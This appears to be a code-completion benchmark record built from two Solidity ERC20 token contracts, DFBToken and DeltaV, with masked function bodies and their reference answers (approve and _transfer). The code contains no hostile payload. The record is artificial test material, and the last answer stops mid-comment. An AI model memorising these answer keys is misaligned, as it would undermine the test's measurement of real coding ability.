contract DFBToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "DFB"; name = "DeFiBoX token"; decimals = 8; _totalSupply = 210000000000; balances[0xfaa43d381517663742c1478FB0b71bC6cD3cEC53] = _totalSupply; emit Transfer(address(0), 0xfaa43d381517663742c1478FB0b71bC6cD3cEC53, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
contract DFBToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "DFB"; name = "DeFiBoX token"; decimals = 8; _totalSupply = 210000000000; balances[0xfaa43d381517663742c1478FB0b71bC6cD3cEC53] = _totalSupply; emit Transfer(address(0), 0xfaa43d381517663742c1478FB0b71bC6cD3cEC53, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true;
function approve(address spender, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success)
33990
DeltaV
_transfer
contract DeltaV is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'deltaV.finance'; string private _symbol = 'DELTAV'; uint8 private _decimals = 18; uint256 private _taxFee = 5; uint256 private _MarketingPoolFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 private _previousMarketingPoolFee = _MarketingPoolFee; address payable public _MarketingPoolWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 1000000000 * 10**18; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForMarketingPool = 1 * 10**6 * 10**18; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable MarketingPoolWalletAddress) public { _MarketingPoolWalletAddress = MarketingPoolWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _MarketingPoolFee == 0) return; _previousTaxFee = _taxFee; _previousMarketingPoolFee = _MarketingPoolFee; _taxFee = 0; _MarketingPoolFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _MarketingPoolFee = _previousMarketingPoolFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private {<FILL_FUNCTION_BODY> } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToMarketingPool(uint256 amount) private { _MarketingPoolWalletAddress.transfer(amount); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToMarketingPool(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingPool) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketingPool(tMarketingPool); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingPool) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketingPool(tMarketingPool); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingPool) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketingPool(tMarketingPool); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingPool) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketingPool(tMarketingPool); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeMarketingPool(uint256 tMarketingPool) private { uint256 currentRate = _getRate(); uint256 rMarketingPool = tMarketingPool.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketingPool); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tMarketingPool); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tMarketingPool) = _getTValues(tAmount, _taxFee, _MarketingPoolFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketingPool); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 MarketingPoolFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tMarketingPool = tAmount.mul(MarketingPoolFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketingPool); return (tTransferAmount, tFee, tMarketingPool); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 0 && taxFee <= 10, 'taxFee should be in 0 - 10'); _taxFee = taxFee; } function _setMarketingPoolFee(uint256 MarketingPoolFee) external onlyOwner() { require(MarketingPoolFee >= 0 && MarketingPoolFee <= 11, 'MarketingPoolFee should be in 0 - 11'); _MarketingPoolFee = MarketingPoolFee; } function _setMarketingPoolWallet(address payable MarketingPoolWalletAddress) external onlyOwner() { _MarketingPoolWalletAddress = MarketingPoolWalletAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 1000000000 , 'maxTxAmount should be greater than 100000000000'); _maxTxAmount = maxTxAmount; } }
contract DeltaV is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'deltaV.finance'; string private _symbol = 'DELTAV'; uint8 private _decimals = 18; uint256 private _taxFee = 5; uint256 private _MarketingPoolFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 private _previousMarketingPoolFee = _MarketingPoolFee; address payable public _MarketingPoolWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 1000000000 * 10**18; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForMarketingPool = 1 * 10**6 * 10**18; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable MarketingPoolWalletAddress) public { _MarketingPoolWalletAddress = MarketingPoolWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _MarketingPoolFee == 0) return; _previousTaxFee = _taxFee; _previousMarketingPoolFee = _MarketingPoolFee; _taxFee = 0; _MarketingPoolFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _MarketingPoolFee = _previousMarketingPoolFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } <FILL_FUNCTION> function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToMarketingPool(uint256 amount) private { _MarketingPoolWalletAddress.transfer(amount); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToMarketingPool(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingPool) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketingPool(tMarketingPool); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingPool) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketingPool(tMarketingPool); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingPool) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketingPool(tMarketingPool); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingPool) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketingPool(tMarketingPool); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeMarketingPool(uint256 tMarketingPool) private { uint256 currentRate = _getRate(); uint256 rMarketingPool = tMarketingPool.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketingPool); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tMarketingPool); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tMarketingPool) = _getTValues(tAmount, _taxFee, _MarketingPoolFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketingPool); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 MarketingPoolFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tMarketingPool = tAmount.mul(MarketingPoolFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketingPool); return (tTransferAmount, tFee, tMarketingPool); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 0 && taxFee <= 10, 'taxFee should be in 0 - 10'); _taxFee = taxFee; } function _setMarketingPoolFee(uint256 MarketingPoolFee) external onlyOwner() { require(MarketingPoolFee >= 0 && MarketingPoolFee <= 11, 'MarketingPoolFee should be in 0 - 11'); _MarketingPoolFee = MarketingPoolFee; } function _setMarketingPoolWallet(address payable MarketingPoolWalletAddress) external onlyOwner() { _MarketingPoolWalletAddress = MarketingPoolWalletAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 1000000000 , 'maxTxAmount should be greater than 100000000000'); _maxTxAmount = maxTxAmount; } }
if(sender != owner() && recipient != owner()) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); } if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular MarketingPool event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForMarketingPool; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the MarketingPool wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToMarketingPool(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and MarketingPool fee 